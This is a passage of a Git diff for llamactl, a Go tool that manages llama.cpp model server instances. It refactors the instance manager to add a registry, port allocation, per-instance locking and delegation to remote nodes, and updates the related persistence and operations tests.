-		MaxInstances:         10,
-		TimeoutCheckInterval: 5,
-	}
-
-	// Test instance persistence on creation
-	manager1 := manager.NewInstanceManager(cfg)
-	options := &instance.CreateInstanceOptions{
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-			Port:  8080,
+	// Create instance and check file was created
+	manager1 := manager.New(appConfig)
+	options := &instance.Options{
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/model.gguf",
+				Port:  8080,
+			},
 		},
 	}
 
@@ -66,14 +33,13 @@ func TestPersistence(t *testing.T) {
 		t.Fatalf("CreateInstance failed: %v", err)
 	}
 
-	// Check that JSON file was created
 	expectedPath := filepath.Join(tempDir, "test-instance.json")
 	if _, err := os.Stat(expectedPath); os.IsNotExist(err) {
 		t.Errorf("Expected persistence file %s to exist", expectedPath)
 	}
 
-	// Test loading instances from disk
-	manager2 := manager.NewInstanceManager(cfg)
+	// Load instances from disk
+	manager2 := manager.New(appConfig)
 	instances, err := manager2.ListInstances()
 	if err != nil {
 		t.Fatalf("ListInstances failed: %v", err)
@@ -84,15 +50,31 @@ func TestPersistence(t *testing.T) {
 	if instances[0].Name != "test-instance" {
 		t.Errorf("Expected loaded instance name 'test-instance', got %q", instances[0].Name)
 	}
+}
 
-	// Test port map populated from loaded instances (port conflict should be detected)
-	_, err = manager2.CreateInstance("new-instance", options) // Same port
-	if err == nil || !strings.Contains(err.Error(), "port") {
-		t.Errorf("Expected port conflict error, got: %v", err)
+func TestDeleteInstance_RemovesPersistenceFile(t *testing.T) {
+	tempDir := t.TempDir()
+	appConfig := createTestAppConfig(tempDir)
+
+	mgr := manager.New(appConfig)
+	options := &instance.Options{
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/model.gguf",
+				Port:  8080,
+			},
+		},
 	}
 
-	// Test file deletion on instance deletion
-	err = manager2.DeleteInstance("test-instance")
+	_, err := mgr.CreateInstance("test-instance", options)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+
+	expectedPath := filepath.Join(tempDir, "test-instance.json")
+
+	err = mgr.DeleteInstance("test-instance")
 	if err != nil {
 		t.Fatalf("DeleteInstance failed: %v", err)
 	}
@@ -115,10 +97,12 @@ func TestConcurrentAccess(t *testing.T) {
 		wg.Add(1)
 		go func(index int) {
 			defer wg.Done()
-			options := &instance.CreateInstanceOptions{
-				BackendType: backends.BackendTypeLlamaCpp,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
-					Model: "/path/to/model.gguf",
+			options := &instance.Options{
+				BackendOptions: backends.Options{
+					BackendType: backends.BackendTypeLlamaCpp,
+					LlamaServerOptions: &backends.LlamaServerOptions{
+						Model: "/path/to/model.gguf",
+					},
 				},
 			}
 			instanceName := fmt.Sprintf("concurrent-test-%d", index)
@@ -148,39 +132,58 @@ func TestConcurrentAccess(t *testing.T) {
 	}
 }
 
-func TestShutdown(t *testing.T) {
-	mgr := createTestManager()
-
-	// Create test instance
-	options := &instance.CreateInstanceOptions{
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
+// Helper functions for test configuration
+func createTestAppConfig(instancesDir string) *config.AppConfig {
+	// Use 'sleep' as a test command instead of 'llama-server'
+	// This allows tests to run in CI environments without requiring actual LLM binaries
+	// The sleep command will be invoked with model paths and other args, which it ignores
+	return &config.AppConfig{
+		Backends: config.BackendConfig{
+			LlamaCpp: config.BackendSettings{
+				Command: "sleep",
+			},
+			MLX: config.BackendSettings{
+				Command: "sleep",
+			},
 		},
+		Instances: config.InstancesConfig{
+			PortRange:            [2]int{8000, 9000},
+			InstancesDir:         instancesDir,
+			LogsDir:              instancesDir,
+			MaxInstances:         10,
+			MaxRunningInstances:  10,
+			DefaultAutoRestart:   true,
+			DefaultMaxRestarts:   3,
+			DefaultRestartDelay:  5,
+			TimeoutCheckInterval: 5,
+		},
+		LocalNode: "main",
+		Nodes:     map[string]config.NodeConfig{},
 	}
-	_, err := mgr.CreateInstance("test-instance", options)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	// Shutdown should not panic
-	mgr.Shutdown()
-
-	// Multiple shutdowns should not panic
-	mgr.Shutdown()
 }
 
-// Helper function to create a test manager with standard config
 func createTestManager() manager.InstanceManager {
-	cfg := config.InstancesConfig{
-		PortRange:            [2]int{8000, 9000},
-		LogsDir:              "/tmp/test",
-		MaxInstances:         10,
-		LlamaExecutable:      "llama-server",
-		DefaultAutoRestart:   true,
-		DefaultMaxRestarts:   3,
-		DefaultRestartDelay:  5,
-		TimeoutCheckInterval: 5,
+	appConfig := &config.AppConfig{
+		Backends: config.BackendConfig{
+			LlamaCpp: config.BackendSettings{
+				Command: "sleep",
+			},
+			MLX: config.BackendSettings{
+				Command: "sleep",
+			},
+		},
+		Instances: config.InstancesConfig{
+			PortRange:            [2]int{8000, 9000},
+			LogsDir:              "/tmp/test",
+			MaxInstances:         10,
+			MaxRunningInstances:  10,
+			DefaultAutoRestart:   true,
+			DefaultMaxRestarts:   3,
+			DefaultRestartDelay:  5,
+			TimeoutCheckInterval: 5,
+		},
+		LocalNode: "main",
+		Nodes:     map[string]config.NodeConfig{},
 	}
-	return manager.NewInstanceManager(cfg)
+	return manager.New(appConfig)
 }

pkg/manager/operations.go

@@ -1,159 +1,350 @@
 package manager
 
 import (
+	"context"
 	"fmt"
-	"llamactl/pkg/backends"
 	"llamactl/pkg/instance"
-	"llamactl/pkg/validation"
-	"os"
-	"path/filepath"
+	"log"
 )
 
 type MaxRunningInstancesError error
 
-// ListInstances returns a list of all instances managed by the instance manager.
-func (im *instanceManager) ListInstances() ([]*instance.Process, error) {
-	im.mu.RLock()
-	defer im.mu.RUnlock()
-
-	instances := make([]*instance.Process, 0, len(im.instances))
-	for _, inst := range im.instances {
-		instances = append(instances, inst)
+// updateLocalInstanceFromRemote updates the local stub instance with data from the remote instance
+func (im *instanceManager) updateLocalInstanceFromRemote(localInst *instance.Instance, remoteInst *instance.Instance) {
+	if localInst == nil || remoteInst == nil {
+		return
 	}
+
+	remoteOptions := remoteInst.GetOptions()
+	if remoteOptions == nil {
+		return
+	}
+
+	// Update the local instance with all remote data
+	localInst.SetOptions(remoteOptions)
+	localInst.SetStatus(remoteInst.GetStatus())
+	localInst.Created = remoteInst.Created
+}
+
+// ListInstances returns a list of all instances managed by the instance manager.
+// For remote instances, this fetches the live state from remote nodes and updates local stubs.
+func (im *instanceManager) ListInstances() ([]*instance.Instance, error) {
+	instances := im.registry.list()
+
+	// Update remote instances with live state
+	ctx := context.Background()
+	for _, inst := range instances {
+		if node := im.getNodeForInstance(inst); node != nil {
+			remoteInst, err := im.remote.getInstance(ctx, node, inst.Name)
+			if err != nil {
+				// Log error but continue with stale data
+				// Don't fail the entire list operation due to one remote failure
+				continue
+			}
+
+			// Update the local stub with all remote data (preserving Nodes)
+			im.updateLocalInstanceFromRemote(inst, remoteInst)
+		}
+	}
+
 	return instances, nil
 }
 
 // CreateInstance creates a new instance with the given options and returns it.
 // The instance is initially in a "stopped" state.
-func (im *instanceManager) CreateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error) {
+func (im *instanceManager) CreateInstance(name string, options *instance.Options) (*instance.Instance, error) {
 	if options == nil {
 		return nil, fmt.Errorf("instance options cannot be nil")
 	}
 
-	name, err := validation.ValidateInstanceName(name)
+	err := options.BackendOptions.ValidateInstanceOptions()
 	if err != nil {
 		return nil, err
 	}
 
-	err = validation.ValidateInstanceOptions(options)
-	if err != nil {
-		return nil, err
-	}
-
-	im.mu.Lock()
-	defer im.mu.Unlock()
-
-	// Check max instances limit after acquiring the lock
-	if len(im.instances) >= im.instancesConfig.MaxInstances && im.instancesConfig.MaxInstances != -1 {
-		return nil, fmt.Errorf("maximum number of instances (%d) reached", im.instancesConfig.MaxInstances)
-	}
-
-	// Check if instance with this name already exists
-	if im.instances[name] != nil {
+	// Check if instance with this name already exists (must be globally unique)
+	if _, exists := im.registry.get(name); exists {
 		return nil, fmt.Errorf("instance with name %s already exists", name)
 	}
 
-	// Assign and validate port for backend-specific options
-	if err := im.assignAndValidatePort(options); err != nil {
-		return nil, err
+	// Check if this is a remote instance (local node not in the Nodes set)
+	if _, isLocal := options.Nodes[im.globalConfig.LocalNode]; !isLocal && len(options.Nodes) > 0 {
+		// Get the first node from the set
+		var nodeName string
+		for node := range options.Nodes {
+			nodeName = node
+			break
+		}
+
+		// Create the remote instance on the remote node
+		ctx := context.Background()
+		nodeConfig, exists := im.remote.getNodeForInstance(nodeName)
+		if !exists {
+			// Try to set the node if it doesn't exist yet
+			if err := im.remote.setInstanceNode(name, nodeName); err != nil {
+				return nil, fmt.Errorf("node %s not found", nodeName)
+			}
+			nodeConfig, _ = im.remote.getNodeForInstance(name)
+		}
+
+		remoteInst, err := im.remote.createInstance(ctx, nodeConfig, name, options)
+		if err != nil {
+			return nil, err
+		}
+
+		// Create a local stub that preserves the Nodes field for tracking
+		// We keep the original options (with Nodes) so IsRemote() works correctly
+		inst := instance.New(name, im.globalConfig, options, nil)
+
+		// Update the local stub with all remote data (preserving Nodes)
+		im.updateLocalInstanceFromRemote(inst, remoteInst)
+
+		// Map instance to node
+		if err := im.remote.setInstanceNode(name, nodeName); err != nil {
+			return nil, fmt.Errorf("failed to map instance to node: %w", err)
+		}
+
+		// Add to registry (doesn't count towards local limits)
+		if err := im.registry.add(inst); err != nil {
+			return nil, fmt.Errorf("failed to add instance to registry: %w", err)
+		}
+
+		// Persist the remote instance locally for tracking across restarts
+		if err := im.persistInstance(inst); err != nil {
+			// Rollback: remove from registry
+			im.registry.remove(name)
+			return nil, fmt.Errorf("failed to persist remote instance %s: %w", name, err)
+		}
+
+		return inst, nil
 	}
 
-	statusCallback := func(oldStatus, newStatus instance.InstanceStatus) {
+	// Local instance creation
+	// Check max instances limit for local instances only
+	totalInstances := im.registry.count()
+	remoteCount := 0
+	for _, inst := range im.registry.list() {
+		if inst.IsRemote() {
+			remoteCount++
+		}
+	}
+	localInstanceCount := totalInstances - remoteCount
+	if localInstanceCount >= im.globalConfig.Instances.MaxInstances && im.globalConfig.Instances.MaxInstances != -1 {
+		return nil, fmt.Errorf("maximum number of instances (%d) reached", im.globalConfig.Instances.MaxInstances)
+	}
+
+	// Assign and validate port for backend-specific options
+	currentPort := im.getPortFromOptions(options)
+	var allocatedPort int
+	if currentPort == 0 {
+		// Allocate a port if not specified
+		allocatedPort, err = im.ports.allocate(name)
+		if err != nil {
+			return nil, fmt.Errorf("failed to allocate port: %w", err)
+		}
+		im.setPortInOptions(options, allocatedPort)
+	} else {
+		// Use the specified port
+		if err := im.ports.allocateSpecific(currentPort, name); err != nil {
+			return nil, fmt.Errorf("port %d is already in use: %w", currentPort, err)
+		}
+		allocatedPort = currentPort
+	}
+
+	statusCallback := func(oldStatus, newStatus instance.Status) {
 		im.onStatusChange(name, oldStatus, newStatus)
 	}
 
-	inst := instance.NewInstance(name, &im.instancesConfig, options, statusCallback)
-	im.instances[inst.Name] = inst
+	inst := instance.New(name, im.globalConfig, options, statusCallback)
 
+	// Add to registry
+	if err := im.registry.add(inst); err != nil {
+		// Rollback: release port
+		im.ports.release(allocatedPort)
+		return nil, fmt.Errorf("failed to add instance to registry: %w", err)
+	}
+
+	// Persist instance (best-effort, don't fail if persistence fails)
 	if err := im.persistInstance(inst); err != nil {
-		return nil, fmt.Errorf("failed to persist instance %s: %w", name, err)
+		log.Printf("Warning: failed to persist instance %s: %v", name, err)
 	}
 
 	return inst, nil
 }
 
 // GetInstance retrieves an instance by its name.
-func (im *instanceManager) GetInstance(name string) (*instance.Process, error) {
-	im.mu.RLock()
-	defer im.mu.RUnlock()
-
-	instance, exists := im.instances[name]
+// For remote instances, this fetches the live state from the remote node and updates the local stub.
+func (im *instanceManager) GetInstance(name string) (*instance.Instance, error) {
+	inst, exists := im.registry.get(name)
 	if !exists {
 		return nil, fmt.Errorf("instance with name %s not found", name)
 	}
-	return instance, nil
+
+	// Check if instance is remote and fetch live state
+	if node := im.getNodeForInstance(inst); node != nil {
+		ctx := context.Background()
+		remoteInst, err := im.remote.getInstance(ctx, node, name)
+		if err != nil {
+			return nil, err
+		}
+
+		// Update the local stub with all remote data (preserving Nodes)
+		im.updateLocalInstanceFromRemote(inst, remoteInst)
+
+		// Return the local stub (preserving Nodes field)
+		return inst, nil
+	}
+
+	return inst, nil
 }
 
 // UpdateInstance updates the options of an existing instance and returns it.
 // If the instance is running, it will be restarted to apply the new options.
-func (im *instanceManager) UpdateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error) {
-	im.mu.RLock()
-	instance, exists := im.instances[name]
-	im.mu.RUnlock()
-
+func (im *instanceManager) UpdateInstance(name string, options *instance.Options) (*instance.Instance, error) {
+	inst, exists := im.registry.get(name)
 	if !exists {
 		return nil, fmt.Errorf("instance with name %s not found", name)
 	}
 
+	// Check if instance is remote and delegate to remote operation
+	if node := im.getNodeForInstance(inst); node != nil {
+		ctx := context.Background()
+		remoteInst, err := im.remote.updateInstance(ctx, node, name, options)
+		if err != nil {
+			return nil, err
+		}
+
+		// Update the local stub with all remote data (preserving Nodes)
+		im.updateLocalInstanceFromRemote(inst, remoteInst)
+
+		// Persist the updated remote instance locally
+		if err := im.persistInstance(inst); err != nil {
+			return nil, fmt.Errorf("failed to persist updated remote instance %s: %w", name, err)
+		}
+
+		return inst, nil
+	}
+
 	if options == nil {
 		return nil, fmt.Errorf("instance options cannot be nil")
 	}
 
-	err := validation.ValidateInstanceOptions(options)
+	err := options.BackendOptions.ValidateInstanceOptions()
 	if err != nil {
 		return nil, err
 	}
 
+	// Lock this specific instance only
+	lock := im.lockInstance(name)
+	lock.Lock()
+	defer lock.Unlock()
+
+	// Handle port changes
+	oldPort := inst.GetPort()
+	newPort := im.getPortFromOptions(options)
+	var allocatedPort int
+
+	if newPort != oldPort {
+		// Port is changing - need to release old and allocate new
+		if newPort == 0 {
+			// Auto-allocate new port
+			allocatedPort, err = im.ports.allocate(name)
+			if err != nil {
+				return nil, fmt.Errorf("failed to allocate new port: %w", err)
+			}
+			im.setPortInOptions(options, allocatedPort)
+		} else {
+			// Use specified port
+			if err := im.ports.allocateSpecific(newPort, name); err != nil {
+				return nil, fmt.Errorf("failed to allocate port %d: %w", newPort, err)
+			}
+			allocatedPort = newPort
+		}
+
+		// Release old port
+		if oldPort > 0 {
+			if err := im.ports.release(oldPort); err != nil {
+				// Rollback new port allocation
+				im.ports.release(allocatedPort)
+				return nil, fmt.Errorf("failed to release old port %d: %w", oldPort, err)
+			}
+		}
+	}
+
 	// Check if instance is running before updating options
-	wasRunning := instance.IsRunning()
+	wasRunning := inst.IsRunning()
 
 	// If the instance is running, stop it first
 	if wasRunning {
-		if err := instance.Stop(); err != nil {
+		if err := inst.Stop(); err != nil {
 			return nil, fmt.Errorf("failed to stop instance %s for update: %w", name, err)
 		}
 	}
 
 	// Now update the options while the instance is stopped
-	instance.SetOptions(options)
+	inst.SetOptions(options)
 
 	// If it was running before, start it again with the new options
 	if wasRunning {
-		if err := instance.Start(); err != nil {
+		if err := inst.Start(); err != nil {
 			return nil, fmt.Errorf("failed to start instance %s after update: %w", name, err)
 		}
 	}
 
-	im.mu.Lock()
-	defer im.mu.Unlock()
-	if err := im.persistInstance(instance); err != nil {
+	if err := im.persistInstance(inst); err != nil {
 		return nil, fmt.Errorf("failed to persist updated instance %s: %w", name, err)
 	}
 
-	return instance, nil
+	return inst, nil
 }
 
 // DeleteInstance removes stopped instance by its name.
 func (im *instanceManager) DeleteInstance(name string) error {
-	im.mu.Lock()
-	defer im.mu.Unlock()
-
-	instance, exists := im.instances[name]
+	inst, exists := im.registry.get(name)
 	if !exists {
 		return fmt.Errorf("instance with name %s not found", name)
 	}
 
-	if instance.IsRunning() {
+	// Check if instance is remote and delegate to remote operation
+	if node := im.getNodeForInstance(inst); node != nil {
+		ctx := context.Background()
+		err := im.remote.deleteInstance(ctx, node, name)
+		if err != nil {
+			return err
+		}
+
+		// Clean up local tracking
+		im.remote.removeInstance(name)
+		im.registry.remove(name)
+
+		// Delete the instance's persistence file
+		if err := im.persistence.delete(name); err != nil {
+			return fmt.Errorf("failed to delete config file for remote instance %s: %w", name, err)
+		}
+
+		return nil
+	}
+
+	// Lock this specific instance and clean up the lock on completion
+	lock := im.lockInstance(name)
+	lock.Lock()
+	defer im.unlockAndCleanup(name)
+
+	if inst.IsRunning() {
 		return fmt.Errorf("instance with name %s is still running, stop it before deleting", name)
 	}
 
-	delete(im.ports, instance.GetPort())
-	delete(im.instances, name)
+	// Release port (use ReleaseByInstance for proper cleanup)
+	im.ports.releaseByInstance(name)
 
-	// Delete the instance's config file if persistence is enabled
-	instancePath := filepath.Join(im.instancesConfig.InstancesDir, instance.Name+".json")
-	if err := os.Remove(instancePath); err != nil && !os.IsNotExist(err) {
-		return fmt.Errorf("failed to delete config file for instance %s: %w", instance.Name, err)
+	// Remove from registry
+	if err := im.registry.remove(name); err != nil {
+		return fmt.Errorf("failed to remove instance from registry: %w", err)
+	}
+
+	// Delete persistence file
+	if err := im.persistence.delete(name); err != nil {
+		return fmt.Errorf("failed to delete config file for instance %s: %w", name, err)
 	}
 
 	return nil
@@ -161,140 +352,186 @@ func (im *instanceManager) DeleteInstance(name string) error {
 
 // StartInstance starts a stopped instance and returns it.
 // If the instance is already running, it returns an error.
-func (im *instanceManager) StartInstance(name string) (*instance.Process, error) {
-	im.mu.RLock()
-	instance, exists := im.instances[name]
-	maxRunningExceeded := len(im.runningInstances) >= im.instancesConfig.MaxRunningInstances && im.instancesConfig.MaxRunningInstances != -1
-	im.mu.RUnlock()
-
+func (im *instanceManager) StartInstance(name string) (*instance.Instance, error) {
+	inst, exists := im.registry.get(name)
 	if !exists {
 		return nil, fmt.Errorf("instance with name %s not found", name)
 	}
-	if instance.IsRunning() {
-		return instance, fmt.Errorf("instance with name %s is already running", name)
+
+	// Check if instance is remote and delegate to remote operation
+	if node := im.getNodeForInstance(inst); node != nil {
+		ctx := context.Background()
+		remoteInst, err := im.remote.startInstance(ctx, node, name)
+		if err != nil {
+			return nil, err
+		}
+
+		// Update the local stub with all remote data (preserving Nodes)
+		im.updateLocalInstanceFromRemote(inst, remoteInst)
+
+		return inst, nil
 	}
 
-	if maxRunningExceeded {
-		return nil, MaxRunningInstancesError(fmt.Errorf("maximum number of running instances (%d) reached", im.instancesConfig.MaxRunningInstances))
+	// Lock this specific instance only
+	lock := im.lockInstance(name)
+	lock.Lock()
+	defer lock.Unlock()
+
+	// Idempotent: if already running, just return success
+	if inst.IsRunning() {
+		return inst, nil
 	}
 
-	if err := instance.Start(); err != nil {
+	// Check max running instances limit for local instances only
+	if im.IsMaxRunningInstancesReached() {
+		return nil, MaxRunningInstancesError(fmt.Errorf("maximum number of running instances (%d) reached", im.globalConfig.Instances.MaxRunningInstances))
+	}
+
+	if err := inst.Start(); err != nil {
 		return nil, fmt.Errorf("failed to start instance %s: %w", name, err)
 	}
 
-	im.mu.Lock()
-	defer im.mu.Unlock()
-	err := im.persistInstance(instance)
-	if err != nil {
-		return nil, fmt.Errorf("failed to persist instance %s: %w", name, err)
+	// Persist instance (best-effort, don't fail if persistence fails)
+	if err := im.persistInstance(inst); err != nil {
+		log.Printf("Warning: failed to persist instance %s: %v", name, err)
 	}
 
-	return instance, nil
+	return inst, nil
 }
 
 func (im *instanceManager) IsMaxRunningInstancesReached() bool {
-	im.mu.RLock()
-	defer im.mu.RUnlock()
-
-	if im.instancesConfig.MaxRunningInstances != -1 && len(im.runningInstances) >= im.instancesConfig.MaxRunningInstances {
-		return true
+	if im.globalConfig.Instances.MaxRunningInstances == -1 {
+		return false
 	}
 
-	return false
+	// Count only local running instances (each node has its own limits)
+	localRunningCount := 0
+	for _, inst := range im.registry.listRunning() {
+		if !inst.IsRemote() {
+			localRunningCount++
+		}
+	}
+
+	return localRunningCount >= im.globalConfig.Instances.MaxRunningInstances
 }
 
 // StopInstance stops a running instance and returns it.
-func (im *instanceManager) StopInstance(name string) (*instance.Process, error) {
-	im.mu.RLock()
-	instance, exists := im.instances[name]
-	im.mu.RUnlock()
-
+func (im *instanceManager) StopInstance(name string) (*instance.Instance, error) {
+	inst, exists := im.registry.get(name)
 	if !exists {
 		return nil, fmt.Errorf("instance with name %s not found", name)
 	}
-	if !instance.IsRunning() {
-		return instance, fmt.Errorf("instance with name %s is already stopped", name)
+
+	// Check if instance is remote and delegate to remote operation
+	if node := im.getNodeForInstance(inst); node != nil {
+		ctx := context.Background()
+		remoteInst, err := im.remote.stopInstance(ctx, node, name)
+		if err != nil {
+			return nil, err
+		}
+
+		// Update the local stub with all remote data (preserving Nodes)
+		im.updateLocalInstanceFromRemote(inst, remoteInst)
+
+		return inst, nil
 	}
 
-	if err := instance.Stop(); err != nil {
+	// Lock this specific instance only
+	lock := im.lockInstance(name)
+	lock.Lock()
+	defer lock.Unlock()
+
+	// Idempotent: if already stopped, just return success
+	if !inst.IsRunning() {
+		return inst, nil
+	}
+
+	if err := inst.Stop(); err != nil {
 		return nil, fmt.Errorf("failed to stop instance %s: %w", name, err)
 	}
 
-	im.mu.Lock()
-	defer im.mu.Unlock()
-	err := im.persistInstance(instance)
-	if err != nil {
-		return nil, fmt.Errorf("failed to persist instance %s: %w", name, err)
+	// Persist instance (best-effort, don't fail if persistence fails)
+	if err := im.persistInstance(inst); err != nil {
+		log.Printf("Warning: failed to persist instance %s: %v", name, err)
 	}
 
-	return instance, nil
+	return inst, nil
 }
 
 // RestartInstance stops and then starts an instance, returning the updated instance.
-func (im *instanceManager) RestartInstance(name string) (*instance.Process, error) {
-	instance, err := im.StopInstance(name)
-	if err != nil {
-		return nil, err
+func (im *instanceManager) RestartInstance(name string) (*instance.Instance, error) {
+	inst, exists := im.registry.get(name)
+	if !exists {
+		return nil, fmt.Errorf("instance with name %s not found", name)
 	}
-	return im.StartInstance(instance.Name)
+
+	// Check if instance is remote and delegate to remote operation
+	if node := im.getNodeForInstance(inst); node != nil {
+		ctx := context.Background()
+		remoteInst, err := im.remote.restartInstance(ctx, node, name)
+		if err != nil {
+			return nil, err
+		}
+
+		// Update the local stub with all remote data (preserving Nodes)
+		im.updateLocalInstanceFromRemote(inst, remoteInst)
+
+		return inst, nil
+	}
+
+	// Lock this specific instance for the entire restart operation to ensure atomicity
+	lock := im.lockInstance(name)
+	lock.Lock()
+	defer lock.Unlock()
+
+	// Stop the instance
+	if inst.IsRunning() {
+		if err := inst.Stop(); err != nil {
+			return nil, fmt.Errorf("failed to stop instance %s: %w", name, err)
+		}
+	}
+
+	// Start the instance
+	if err := inst.Start(); err != nil {
+		return nil, fmt.Errorf("failed to start instance %s: %w", name, err)
+	}
+
+	// Persist the restarted instance
+	if err := im.persistInstance(inst); err != nil {
+		log.Printf("Warning: failed to persist instance %s: %v", name, err)
+	}
+
+	return inst, nil
 }
 
 // GetInstanceLogs retrieves the logs for a specific instance by its name.
-func (im *instanceManager) GetInstanceLogs(name string) (string, error) {
-	im.mu.RLock()
-	_, exists := im.instances[name]
-	im.mu.RUnlock()
-
+func (im *instanceManager) GetInstanceLogs(name string, numLines int) (string, error) {
+	inst, exists := im.registry.get(name)
 	if !exists {
 		return "", fmt.Errorf("instance with name %s not found", name)
 	}
 
-	// TODO: Implement actual log retrieval logic
-	return fmt.Sprintf("Logs for instance %s", name), nil
+	// Check if instance is remote and delegate to remote operation
+	if node := im.getNodeForInstance(inst); node != nil {
+		ctx := context.Background()
+		return im.remote.getInstanceLogs(ctx, node, name, numLines)
+	}
+
+	// Get logs from the local instance
+	return inst.GetLogs(numLines)
 }
 
 // getPortFromOptions extracts the port from backend-specific options
-func (im *instanceManager) getPortFromOptions(options *instance.CreateInstanceOptions) int {
-	switch options.BackendType {
-	case backends.BackendTypeLlamaCpp:
-		if options.LlamaServerOptions != nil {
-			return options.LlamaServerOptions.Port
-		}
-	}
-	return 0
+func (im *instanceManager) getPortFromOptions(options *instance.Options) int {
+	return options.BackendOptions.GetPort()
 }
 
 // setPortInOptions sets the port in backend-specific options
-func (im *instanceManager) setPortInOptions(options *instance.CreateInstanceOptions, port int) {
-	switch options.BackendType {
-	case backends.BackendTypeLlamaCpp:
-		if options.LlamaServerOptions != nil {
-			options.LlamaServerOptions.Port = port
-		}
-	}
+func (im *instanceManager) setPortInOptions(options *instance.Options, port int) {
+	options.BackendOptions.SetPort(port)
 }
 
-// assignAndValidatePort assigns a port if not specified and validates it's not in use
-func (im *instanceManager) assignAndValidatePort(options *instance.CreateInstanceOptions) error {
-	currentPort := im.getPortFromOptions(options)
-
-	if currentPort == 0 {
-		// Assign a port if not specified
-		port, err := im.getNextAvailablePort()
-		if err != nil {
-			return fmt.Errorf("failed to get next available port: %w", err)
-		}
-		im.setPortInOptions(options, port)
-		// Mark the port as used
-		im.ports[port] = true
-	} else {
-		// Validate the specified port
-		if _, exists := im.ports[currentPort]; exists {
-			return fmt.Errorf("port %d is already in use", currentPort)
-		}
-		// Mark the port as used
-		im.ports[currentPort] = true
-	}
-
-	return nil
+// EvictLRUInstance finds and stops the least recently used running instance.
+func (im *instanceManager) EvictLRUInstance() error {
+	return im.lifecycle.evictLRU()
 }

pkg/manager/operations_test.go

@@ -2,7 +2,6 @@ package manager_test
 
 import (
 	"llamactl/pkg/backends"
-	"llamactl/pkg/backends/llamacpp"
 	"llamactl/pkg/config"
 	"llamactl/pkg/instance"
 	"llamactl/pkg/manager"
@@ -10,40 +9,14 @@ import (
 	"testing"
 )
 
-func TestCreateInstance_Success(t *testing.T) {
-	manager := createTestManager()
-
-	options := &instance.CreateInstanceOptions{
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-			Port:  8080,
-		},
-	}
-
-	inst, err := manager.CreateInstance("test-instance", options)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	if inst.Name != "test-instance" {
-		t.Errorf("Expected instance name 'test-instance', got %q", inst.Name)
-	}
-	if inst.GetStatus() != instance.Stopped {
-		t.Error("New instance should not be running")
-	}
-	if inst.GetPort() != 8080 {
-		t.Errorf("Expected port 8080, got %d", inst.GetPort())
-	}
-}
-
-func TestCreateInstance_ValidationAndLimits(t *testing.T) {
-	// Test duplicate names
+func TestCreateInstance_FailsWithDuplicateName(t *testing.T) {
 	mngr := createTestManager()
-	options := &instance.CreateInstanceOptions{
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
+	options := &instance.Options{
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/model.gguf",
+			},
 		},
 	}
 
@@ -60,16 +33,35 @@ func TestCreateInstance_ValidationAndLimits(t *testing.T) {
 	if !strings.Contains(err.Error(), "already exists") {
 		t.Errorf("Expected duplicate name error, got: %v", err)
 	}
+}
 
-	// Test max instances limit
-	cfg := config.InstancesConfig{
-		PortRange:            [2]int{8000, 9000},
-		MaxInstances:         1, // Very low limit for testing
-		TimeoutCheckInterval: 5,
+func TestCreateInstance_FailsWhenMaxInstancesReached(t *testing.T) {
+	appConfig := &config.AppConfig{
+		Backends: config.BackendConfig{
+			LlamaCpp: config.BackendSettings{
+				Command: "llama-server",
+			},
+		},
+		Instances: config.InstancesConfig{
+			PortRange:            [2]int{8000, 9000},
+			MaxInstances:         1, // Very low limit for testing
+			TimeoutCheckInterval: 5,
+		},
+		LocalNode: "main",
+		Nodes:     map[string]config.NodeConfig{},
 	}
-	limitedManager := manager.NewInstanceManager(cfg)
+	limitedManager := manager.New(appConfig)
 
-	_, err = limitedManager.CreateInstance("instance1", options)
+	options := &instance.Options{
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/model.gguf",
+			},
+		},
+	}
+
+	_, err := limitedManager.CreateInstance("instance1", options)
 	if err != nil {
 		t.Fatalf("CreateInstance 1 failed: %v", err)
 	}
@@ -84,33 +76,32 @@ func TestCreateInstance_ValidationAndLimits(t *testing.T) {
 	}
 }
 
-func TestPortManagement(t *testing.T) {
+func TestCreateInstance_FailsWithPortConflict(t *testing.T) {
 	manager := createTestManager()
 
-	// Test auto port assignment
-	options1 := &instance.CreateInstanceOptions{
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
+	options1 := &instance.Options{
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/model.gguf",
+				Port:  8080,
+			},
 		},
 	}
 
-	inst1, err := manager.CreateInstance("instance1", options1)
+	_, err := manager.CreateInstance("instance1", options1)
 	if err != nil {
 		t.Fatalf("CreateInstance failed: %v", err)
 	}
 
-	port1 := inst1.GetPort()
-	if port1 < 8000 || port1 > 9000 {
-		t.Errorf("Expected port in range 8000-9000, got %d", port1)
-	}
-
-	// Test port conflict detection
-	options2 := &instance.CreateInstanceOptions{
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model2.gguf",
-			Port:  port1, // Same port - should conflict
